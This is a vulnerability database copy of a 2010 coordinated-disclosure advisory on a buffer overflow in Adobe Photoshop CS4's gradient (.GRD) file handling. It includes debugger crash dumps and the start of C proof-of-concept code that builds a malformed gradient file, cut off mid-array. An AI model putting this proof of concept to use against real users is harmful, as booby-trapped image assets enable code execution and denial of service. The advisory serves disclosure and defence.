Lucene search
Gjoko KrsticZSL-2010-4939HistoryMay 26, 2010 - 12:00 a.m.
Adobe Photoshop CS4 Extended 11.0 GRD File Handling Remote Buffer Overflow PoC
2010-05-2600:00:00
Gjoko Krstic
zeroscience.mk
36
9.3 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
7.5 High
AI Score
Confidence
Low
0.174 Low
EPSS
Percentile
96.1%
Title: Adobe Photoshop CS4 Extended 11.0 GRD File Handling Remote Buffer Overflow PoC
Advisory ID: ZSL-2010-4939
Type: Local/Remote
Impact: System Access, DoS
Risk: (4/5)
Release Date: 26.05.2010
Summary
The Adobe® Photoshop® family of products is the ultimate playground for bringing out the best in your digital images, transforming them into anything you can imagine and showcasing them in extraordinary ways.
Description
Adobe Photoshop CS4 Extended suffers from a buffer overflow vulnerability when dealing with .GRD (gradients) format file. The application failz to sanitize the user input resulting in a memory corruption, overwriting several memory registers which can aid the atacker to gain the power of executing arbitrary code or denial of service.
--------------------------------------------------------------------------------
(718.cd4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=7efefefe ebx=00414141 ecx=000dbb7f edx=41414141 esi=12fb5368 edi=0b050000 eip=781807f5 esp=0012de64 ebp=05620e10 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 MSVCR80!strncpy+0xa5: 781807f5 8917 mov dword ptr [edi],edx ds:0023:0b050000=???????? 0:000> g (718.af8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=ffffffff ebx=00252178 ecx=41414141 edx=781c3bf8 esi=0afd2420 edi=7c80980a eip=7c809813 esp=12b8fe04 ebp=12b8fe4c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 kernel32!InterlockedDecrement+0x9: 7c809813 f00fc101 lock xadd dword ptr [ecx],eax ds:0023:41414141=????????
--------------------------------------------------------------------------------
Vendor
Adobe Systems Incorporated - <http://www.adobe.com>
Affected Version
CS4 Extended 11.0.0.0
Tested On
Microsoft Windows XP Professional SP3 (English)
Vendor Status
[08.08.2009] Vendor notified.
[10.08.2009] Vendor replied.
[14.08.2009] Asked vendor for confirmation.
[14.08.2009] Vendor confirms vulnerability.
[18.05.2010] Vendor reveals patch release date.
[26.05.2010] Coordinated public disclosure.
PoC
Credits
Vulnerability discovered by Gjoko Krstic - <[email protected]>
High five to Wendy and David
References
[1] <http://www.adobe.com/support/security/bulletins/apsb10-13.html>
[2] <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-1296>
[3] <http://www.exploit-db.com/exploits/12752>
[4] <http://www.packetstormsecurity.org/filedesc/psgradient-overflow.txt.html>
[5] <http://securityreason.com/exploitalert/8292>
[6] <http://www.securityfocus.com/bid/40389>
[7] <http://secunia.com/advisories/39934>
[8] <http://www.vupen.com/english/advisories/2010/1252>
[9] <http://www.securelist.com/en/advisories/39934>
[10] <http://securitytracker.com/alerts/2010/May/1024042.html>
[11] <http://www.infosecurity-us.com/view/9762/adobe-update-addresses-photoshop-bugs/>
[12] <http://www.securitylab.ru/vulnerability/394298.php>
[13] <http://www.itpro.co.uk/623791/adobe-patches-critical-photoshop-cs4-vulnerability>
[14] <http://www.nsfocus.net/vulndb/15112>
[15] <http://www.hackbase.com/tech/2010-05-28/60402.html>
[16] <http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-1296>
[17] <http://www.security-database.com/detail.php?alert=CVE-2010-1296>
[18] <http://xforce.iss.net/xforce/xfdb/58888>
[19] <http://www.juniper.net/security/auto/vulnerabilities/vuln40389.html>
[20] <https://www.cert.be/pro/advisory/adobe-photoshop-cs4-multiple-vulnerabilities>
[21] <http://www.net-security.org/secworld.php?id=9350>
[22] <http://www.sophos.com/blogs/gc/g/2010/06/01/users-urged-update-photoshop-cs4-vulnerabilities>
[23] <http://osvdb.org/show/osvdb/65082>
Changelog
[26.05.2010] - Initial release
[27.05.2010] - Added reference [4], [5], [6], [7], [8] and [9]
[28.05.2010] - Added reference [10], [11] and [12]
[29.05.2010] - Added reference [13], [14], [15], [16], [17] and [18]
[30.05.2010] - Added reference [19]
[04.06.2010] - Added reference [20], [21], [22] and [23]
Contact
Zero Science Lab
Web: <http://www.zeroscience.mk>
e-mail: [email protected]
<html><body><p>/*
Title:
Adobe Photoshop CS4 Extended 11.0 GRD File Handling Remote Buffer Overflow PoC
Summary: The Adobe� Photoshop� family of products is the ultimate playground for
bringing out the best in your digital images, transforming them into anything you
can imagine and showcasing them in extraordinary ways.
Description: Adobe Photoshop CS4 Extended suffers from a buffer overflow vulnerability
when dealing with .GRD (gradients) format file. The application failz to sanitize the
user input resulting in a memory corruption, overwriting several memory registers which
can aid the atacker to gain the power of executing arbitrary code or denial of service.
Vendor:
Adobe Systems Incorporated
Product Web Page:
http://www.adobe.com/
Current Version:
CS4 Extended 11.0.0.0
Tested On:
Microsoft Windwos XP Professional SP3 (English)
---------------------------------------------------------------------------
(718.cd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=7efefefe ebx=00414141 ecx=000dbb7f edx=41414141 esi=12fb5368 edi=0b050000
eip=781807f5 esp=0012de64 ebp=05620e10 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
MSVCR80!strncpy+0xa5:
781807f5 8917 mov dword ptr [edi],edx ds:0023:0b050000=????????
0:000> g
(718.af8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=00252178 ecx=41414141 edx=781c3bf8 esi=0afd2420 edi=7c80980a
eip=7c809813 esp=12b8fe04 ebp=12b8fe4c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
kernel32!InterlockedDecrement+0x9:
7c809813 f00fc101 lock xadd dword ptr [ecx],eax ds:0023:41414141=????????
---------------------------------------------------------------------------
Vendor Status:
[08.08.2009] Vendor notified.
[10.08.2009] Vendor replied.
[14.08.2009] Asked vendor for confirmation.
[14.08.2009] Vendor confirms vulnerability.
[18.05.2010] Vendor reveals patch release date.
[26.05.2010] Coordinated public disclosure.
Zero Science Lab Advisory ID: ZSL-2010-4939
Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4939.php
Adobe Advisory ID: APSB10-13
Advisory: http://www.adobe.com/support/security/bulletins/apsb10-13.html
CVE ID: CVE-2010-1296
Vulnerability Discovered By:
Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk
08.08.2009
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#define NAMEFILE "Awesome_Gradients.grd"
FILE *pf;
char gradih[] = {
0x38, 0x42, 0x47, 0x52, 0x00, 0x05, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x6E, 0x75, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
0x47, 0x72, 0x64, 0x4C, 0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x0B, 0x4F, 0x62, 0x6A, 0x63,
0x00, 0x00, 0x00, 0x09, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65,
0x00, 0x6E, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x61, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00,
0x00, 0x09, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E,
0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x09,
0x00, 0x00, 0x00, 0x00, 0x4E, 0x6D, 0x20, 0x20, 0x54, 0x45, 0x58, 0x54, 0x00, 0x00, 0x00, 0x33,
0x00, 0x24, 0x00, 0x24, 0x00, 0x24, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73,
0x00, 0x65, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64,
0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x4E, 0x00, 0x6F,
0x00, 0x69, 0x00, 0x73, 0x00, 0x65, 0x00, 0x53, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6C,
0x00, 0x65, 0x00, 0x73, 0x00, 0x5F, 0x00, 0x67, 0x00, 0x72, 0x00, 0x64, 0x00, 0x2F, 0x00, 0x42,
0x00, 0x6C, 0x00, 0x75, 0x00, 0x65, 0x00, 0x73, 0x00, 0x3D, 0x00, 0x42, 0x00, 0x6C, 0x00, 0x75,
0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x65, 0x6E,
0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C,
0x4E, 0x73, 0x00, 0x00, 0x00, 0x00, 0x53, 0x68, 0x54, 0x72, 0x62, 0x6F, 0x6F, 0x6C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x56, 0x63, 0x74, 0x43, 0x62, 0x6F, 0x6F, 0x6C, 0x01, 0x00, 0x00, 0x00, 0x00,
0x43, 0x6C, 0x72, 0x53, 0x65, 0x6E, 0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x72, 0x53,
0x00, 0x00, 0x00, 0x00, 0x52, 0x47, 0x42, 0x43, 0x00, 0x00, 0x00, 0x00, 0x52, 0x6E, 0x64, 0x53,
0x6C, 0x6F, 0x6E, 0x67, 0x79, 0x06, 0x56, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x53, 0x6D, 0x74, 0x68,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x6E, 0x6D, 0x20,
0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x78, 0x6D, 0x20,
0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00, 0x00, 0x09,
0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x47, 0x72, 0x61, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00, 0x00, 0x09, 0x00, 0x47,
0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00,
0x4E, 0x6D, 0x20, 0x20, 0x54, 0x45, 0x58, 0x54, 0x00, 0x00, 0x00, 0x35, 0x00, 0x24, 0x00, 0x24,
0x00, 0x24, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x65, 0x00, 0x74,
0x00, 0x73, 0x00, 0x2F, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65,
0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x69, 0x00, 0x73,
0x00, 0x65, 0x00, 0x53, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73,
0x00, 0x5F, 0x00, 0x67, 0x00, 0x72, 0x00, 0x64, 0x00, 0x2F, 0x00, 0x47, 0x00, 0x72, 0x00, 0x65,
0x00, 0x65, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x3D, 0x00, 0x47, 0x00, 0x72, 0x00, 0x65, 0x00, 0x65,
0x00, 0x6E, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x65, 0x6E,
0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C,
0x4E, 0x73, 0x00, 0x00, 0x00, 0x00, 0x53, 0x68, 0x54, 0x72, 0x62, 0x6F, 0x6F, 0x6C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x56, 0x63, 0x74, 0x43, 0x62, 0x6F, 0x6F, 0x6C, 0x01, 0x00, 0x00, 0x00, 0x00,
0x43, 0x6C, 0x72, 0x53, 0x65, 0x6E, 0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x72, 0x53,
0x00, 0x00, 0x00, 0x00, 0x52, 0x47, 0x42, 0x43, 0x00, 0x00, 0x00, 0x00, 0x52, 0x6E, 0x64, 0x53,
0x6C, 0x6F, 0x6E, 0x67, 0x68, 0x5C, 0x5E, 0xD8, 0x00, 0x00, 0x00, 0x00, 0x53, 0x6D, 0x74, 0x68,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x6E, 0x6D, 0x20,
0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x78, 0x6D, 0x20,
0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00, 0x00, 0x09,
0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x47, 0x72, 0x61, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00, 0x00, 0x09, 0x00, 0x47,
0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00,
0x4E, 0x6D, 0x20, 0x20, 0x54, 0x45, 0x58, 0x54, 0x00, 0x00, 0x00, 0x37, 0x00, 0x24, 0x00, 0x24,
0x00, 0x24, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x65, 0x00, 0x74,
0x00, 0x73, 0x00, 0x2F, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65,
0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x69, 0x00, 0x73,
0x00, 0x65, 0x00, 0x53, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73,
0x00, 0x5F, 0x00, 0x67, 0x00, 0x72, 0x00, 0x64, 0x00, 0x2F, 0x00, 0x53, 0x00, 0x75, 0x00, 0x6E,
0x00, 0x72, 0x00, 0x69, 0x00, 0x73, 0x00, 0x65, 0x00, 0x3D, 0x00, 0x53, 0x00, 0x75, 0x00, 0x6E,
0x00, 0x72, 0x00, 0x69, 0x00, 0x73, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72,
0x64, 0x46, 0x65, 0x6E, 0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x00, 0x00,
0x00, 0x00, 0x43, 0x6C, 0x4E, 0x73, 0x00, 0x00, 0x00, 0x00, 0x53, 0x68, 0x54, 0x72, 0x62, 0x6F,
0x6F, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0x63, 0x74, 0x43, 0x62, 0x6F, 0x6F, 0x6C, 0x01,
0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x72, 0x53, 0x65, 0x6E, 0x75, 0x6D, 0x00, 0x00, 0x00, 0x00,
0x43, 0x6C, 0x72, 0x53, 0x00, 0x00, 0x00, 0x00, 0x52, 0x47, 0x42, 0x43, 0x00, 0x00, 0x00, 0x00,
0x52, 0x6E, 0x64, 0x53, 0x6C, 0x6F, 0x6E, 0x67, 0x23, 0xBB, 0x09, 0x4C, 0x00, 0x00, 0x00, 0x00,
0x53, 0x6D, 0x74, 0x68, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4D, 0x6E, 0x6D, 0x20, 0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67,
0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67,
0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4D, 0x78, 0x6D, 0x20, 0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67,
0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67,
0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x4F, 0x62, 0x6A, 0x63,
0x00, 0x00, 0x00, 0x09, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65,
0x00, 0x6E, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x61, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00,
0x00, 0x09, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E,
0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x09,
0x00, 0x00, 0x00, 0x00, 0x4E, 0x6D, 0x20, 0x20, 0x54, 0x45, 0x58, 0x54, 0x00, 0x00, 0x00, 0x42,
0x00, 0x24, 0x00, 0x24, 0x00, 0x24, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73,
0x00, 0x65, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64,
0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x4E, 0x00, 0x6F,
0x00, 0x69, 0x00, 0x73, 0x00, 0x65, 0x00, 0x53, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6C,
0x00, 0x65, 0x00, 0x73, 0x00, 0x5F, 0x00, 0x67, 0x00, 0x72, 0x00, 0x64, 0x00, 0x2F, 0x00, 0x50,
0x00, 0x61, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x47, 0x00, 0x72, 0x00, 0x65,
0x00, 0x65, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x3D, 0x00, 0x50, 0x00, 0x61, 0x00, 0x73, 0x00, 0x74,
0x00, 0x65, 0x00, 0x6C, 0x00, 0x20, 0x00, 0x47, 0x00, 0x72, 0x00, 0x65, 0x00, 0x65, 0x00, 0x6E,
0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x65, 0x6E, 0x75, 0x6D,
0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x4E, 0x73,
0x00, 0x00, 0x00, 0x00, 0x53, 0x68, 0x54, 0x72, 0x62, 0x6F, 0x6F, 0x6C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x56, 0x63, 0x74, 0x43, 0x62, 0x6F, 0x6F, 0x6C, 0x01, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C,
0x72, 0x53, 0x65, 0x6E, 0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x72, 0x53, 0x00, 0x00,
0x00, 0x00, 0x52, 0x47, 0x42, 0x43, 0x00, 0x00, 0x00, 0x00, 0x52, 0x6E, 0x64, 0x53, 0x6C, 0x6F,
0x6E, 0x67, 0x2C, 0xDE, 0xAD, 0xEE, 0x00, 0x00, 0x00, 0x00, 0x53, 0x6D, 0x74, 0x68, 0x6C, 0x6F,
0x6E, 0x67, 0x00, 0x00, 0x01, 0xEC, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x6E, 0x6D, 0x20, 0x56, 0x6C,
0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F,
0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F,
0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x78, 0x6D, 0x20, 0x56, 0x6C,
0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F,
0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F,
0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00, 0x00, 0x09, 0x00, 0x47,
0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
0x47, 0x72, 0x61, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00, 0x00, 0x09, 0x00, 0x47, 0x00, 0x72,
0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x4E, 0x6D,
0x20, 0x20, 0x54, 0x45, 0x58, 0x54, 0x00, 0x00, 0x00, 0x37, 0x00, 0x24, 0x00, 0x24, 0x00, 0x24,
0x00, 0x2F, 0x00, 0x50, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x65, 0x00, 0x74, 0x00, 0x73,
0x00, 0x2F, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E,
0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x69, 0x00, 0x73, 0x00, 0x65,
0x00, 0x53, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5F,
0x00, 0x67, 0x00, 0x72, 0x00, 0x64, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x75, 0x00, 0x72, 0x00, 0x70,
0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x3D, 0x00, 0x50, 0x00, 0x75, 0x00, 0x72, 0x00, 0x70,
0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46,
0x65, 0x6E, 0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x00, 0x00, 0x00, 0x00,
0x43, 0x6C, 0x4E, 0x73, 0x00, 0x00, 0x00, 0x00, 0x53, 0x68, 0x54, 0x72, 0x62, 0x6F, 0x6F, 0x6C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0x63, 0x74, 0x43, 0x62, 0x6F, 0x6F, 0x6C, 0x00, 0x00, 0x00,
0x00, 0x00, 0x43, 0x6C, 0x72, 0x53, 0x65, 0x6E, 0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C,
0x72, 0x53, 0x00, 0x00, 0x00, 0x00, 0x52, 0x47, 0x42, 0x43, 0x00, 0x00, 0x00, 0x00, 0x52, 0x6E,
0x64, 0x53, 0x6C, 0x6F, 0x6E, 0x67, 0x74, 0xC9, 0x27, 0xD5, 0x00, 0x00, 0x00, 0x00, 0x53, 0x6D,
0x74, 0x68, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x06, 0x66, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x6E,
0x6D, 0x20, 0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00,
0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00,
0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x78,
0x6D, 0x20, 0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00,
0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00,
0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00,
0x00, 0x09, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E,
0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x01,
